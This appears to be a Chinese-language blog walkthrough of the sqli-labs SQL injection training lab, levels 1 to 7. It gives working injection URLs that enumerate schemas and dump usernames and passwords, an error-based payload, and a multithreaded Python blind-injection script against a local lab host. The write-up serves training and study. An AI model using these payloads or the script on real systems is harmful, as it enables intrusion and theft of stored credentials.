sqli-labs writeup

Sqli-labs是一个练习SQL注入的很好的一个平台,可以直接下载后使用。注意由于充满漏洞,推荐在虚拟机中使用,并使用host-only模式,不要让其联网。

平台搭建

我这里是采用了虚拟机+win10+phpStudy,然后直接将下载的sqli-labs-master放到www文件夹中即可。

Basic Challenges

每个less都有提示会告诉你是什么类型的题,我们也能看到后台源码,所以比较好去理解。

less-1

简单的'绕过

1
http://10.37.129.3/sqli-labs-master/Less-1/?id=1' or 1=2 %23

发现正常运行,即注入成功。
之后是比较基础的脱裤步骤,具体操作可以看我的另一篇文章SQL注入总结总结了基本步骤。本例练习一下脱裤,之后如果不是有一些特殊方式,就不再贴出来了。

获取字段数
1
2
http://10.37.129.3/sqli-labs-master/Less-1/?id=1' order by 3%23
http://10.37.129.3/sqli-labs-master/Less-1/?id=1' order by 4%23

发现到4之后会报错,即字段数为3

获得显示位
1
http://10.37.129.3/sqli-labs-master/Less-1/?id=' union select 1,2,3 %23

可以看到显示位为2,3,则其他信息可以通过在2,3位显示而被我们得到。

得到当前数据库、版本等信息
1
http://10.37.129.3/sqli-labs-master/Less-1/?id=' union select 1,database(),@@version %23
查选库,获取所有数据库名
1
http://10.37.129.3/sqli-labs-master/Less-1/?id=' union select 1,group_concat(schema_name),@@version from information_schema.schemata %23

得到所有数据库:information_schema,challenges,mysql,performance_schema,security

获取某个数据库的表名
1
http://10.37.129.3/sqli-labs-master/Less-1/?id=' union select 1,group_concat(table_name),@@version from information_schema.tables where table_schema=0x7365637572697479%23

其中0x7365637572697479securityhex()

获取列名
1
http://10.37.129.3/sqli-labs-master/Less-1/?id=' union select 1,group_concat(column_name),@@version from information_schema.columns where table_name=0x7573657273%23

可以看到获得了id,username,password这三个字段

获取内容
1
http://10.37.129.3/sqli-labs-master/Less-1/?id=' union select 1,group_concat(username),group_concat(password) from security.users%23

less-2

1
2
3
http://10.37.129.3/sqli-labs-master/Less-2/?id=2
http://10.37.129.3/sqli-labs-master/Less-2/?id=2'
http://10.37.129.3/sqli-labs-master/Less-2/?id=2 or 1=1

试探之后发现成功执行or 1=1所以显示的结果是id=1的内容,因为第二次试探发现有limit 0,1所以成功绕过。

less-3

1
2
http://10.37.129.3/sqli-labs-master/Less-3/?id=1'
http://10.37.129.3/sqli-labs-master/Less-3/?id=1')%23

根据报错,发现有个括号,直接闭合

less-4

1
http://10.37.129.3/sqli-labs-master/Less-4/?id=2"

发现返回的信息是:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"2"") LIMIT 0,1' at line 1

可以得出它是将我们的内容("id")这样了,所以需要闭合两个,payload如下:

1
http://10.37.129.3/sqli-labs-master/Less-4/?id=2") %23

less-5

1
http://10.37.129.3/sqli-labs-master/Less-5/?id=2'%23

绕过成功,发现虽然没有显示位,但是有返回报错信息的。这里提供两种方式,一种是使用报错注入,另一种根据页面不同变化进行字符猜解

报错注入:

1
http://10.37.129.3/sqli-labs-master/Less-5/?id=1' union select extractvalue(0x123,concat(0x3a3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x3a3a))%23

这样直接就有错误信息了

字符猜解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
import requests
import threading
import threadpool
import binascii
class Config(object):
"""
some configuration content,modify according to different targets
payload for MySQL
"""
def __init__(self):
self.prefix = "http://10.37.129.3/sqli-labs-master/Less-5/?id=1' "
self.payload = ""
self.suffix = "%23"
self.match_string = "You are in."
def sendRequest(payload):
url = config.prefix + payload + config.suffix
r = requests.get(url)
return r.text
def acquireDatabaseNumber():
pre_payload = "AND (SELECT COUNT(*) FROM information_schema.schemata)="
number = 1
while True:
payload = pre_payload + str(number)
recv = sendRequest(payload)
if config.match_string in recv:
return number
else:
number += 1
def acquireDatabaseContent(n):
"""
left and right can be modified according to different situations
"""
s = ""
idx = 1
while True:
left = 0
right = 255
while left < right:
mid = (left + right) / 2
payload = "AND ASCII(SUBSTRING((SELECT schema_name FROM information_schema.schemata LIMIT " + \
str(n) + ",1)," + str(idx) + ",1))" + ">" + str(mid)
recv = sendRequest(payload)
if config.match_string in recv:
left = mid + 1
else:
right = mid
if left == right and right != 0:
s += chr(right)
idx += 1
else:
break
databases_record.append(s)
print(s)
def acquireTableNumber(dbname):
pre_payload = "AND (SELECT COUNT(*) FROM information_schema.tables where table_schema=0x" + \
str(binascii.b2a_hex(dbname)) + ")="
number = 1
while True:
payload = pre_payload + str(number)
recv = sendRequest(payload)
if config.match_string in recv:
return number
else:
number += 1
def acquireTableContent(dbname, n):
s = ""
idx = 1
while True:
left = 0
right = 255
while left < right:
mid = (left + right) / 2
payload = "AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=0x" + str(
binascii.b2a_hex(dbname)) + " LIMIT " + str(n) + ",1)," + str(idx) + ",1))" + ">" + str(mid)
recv = sendRequest(payload)
if config.match_string in recv:
left = mid + 1
else:
right = mid
if left == right and right != 0:
s += chr(right)
idx += 1
else:
break
return s
def acquireTable(dbname):
# remove default databases
if dbname not in ['information_schema', 'mysql', 'performance_schema']:
table_number = acquireTableNumber(dbname)
table = []
for i in range(table_number):
tablename = acquireTableContent(dbname, i)
table.append(tablename)
print('--------------------')
print('|' + dbname + ' |\n--------------------')
for name in table:
print(name)
tables_record.append(([dbname, name], None))
print('')
def acquireColumnNumber(dbname, tablename):
pre_payload = "AND (SELECT COUNT(*) FROM information_schema.columns where table_schema=0x" + \
str(binascii.b2a_hex(dbname)) + " AND table_name=0x" + \
str(binascii.b2a_hex(tablename)) + ")="
number = 1
while True:
payload = pre_payload + str(number)
recv = sendRequest(payload)
if config.match_string in recv:
return number
else:
number += 1
def acquireColumnContent(dbname, tablename, n):
s = ""
idx = 1
while True:
left = 0
right = 255
while left < right:
mid = (left + right) / 2
payload = "AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema=0x" + str(binascii.b2a_hex(
dbname)) + " AND table_name=0x" + str(binascii.b2a_hex(tablename)) + " LIMIT " + str(n) + ",1)," + str(idx) + ",1))" + ">" + str(mid)
recv = sendRequest(payload)
if config.match_string in recv:
left = mid + 1
else:
right = mid
if left == right and right != 0:
s += chr(right)
idx += 1
else:
break
return s
def acquireColumn(dbname, tablename):
column_number = acquireColumnNumber(dbname, tablename)
column = []
for i in range(column_number):
columnname = acquireColumnContent(dbname, tablename, i)
column.append(columnname)
print('--------------------')
print('|' + dbname + '.' + tablename + ' |\n--------------------')
for name in column:
print(name)
print('')
def guess():
databaseNumber = acquireDatabaseNumber()
print("Database Number: " + str(databaseNumber))
# get databases name
print('***DataBases***')
parameters = []
for i in range(databaseNumber):
parameters.append(i)
req = threadpool.makeRequests(acquireDatabaseContent, parameters)
[pool.putRequest(r) for r in req]
pool.wait()
# get tables name
print('***Tables***')
req = threadpool.makeRequests(acquireTable, databases_record)
[pool.putRequest(r) for r in req]
pool.wait()
# get columns name
print('***Columns***')
req = threadpool.makeRequests(acquireColumn, tables_record)
[pool.putRequest(r) for r in req]
pool.wait()
# Main entrance
config = Config()
# save records
databases_record = []
tables_record = []
pool = threadpool.ThreadPool(20)
guess()

这里写了一个脚本,使用线程池发送请求,获取所有数据库、表、列名内容(去除了默认数据库的内容)。使用二分搜索进行字符猜解,范围是0-255,可根据实际情况修改,payload也可根据不同环境进行修改。

less-6

同less-5 只不过改为双引号"即可。以下内容用于判断我们双引号注入成功了。

1
2
http://10.37.129.3/sqli-labs-master/Less-6/?id=1" and 1=1%23
http://10.37.129.3/sqli-labs-master/Less-6/?id=1" and 1=0%23

less-7

这道题要求使用outfile,具体基础知识可以看sql-injection总结/outfile里面关于outfile load_file部分内容。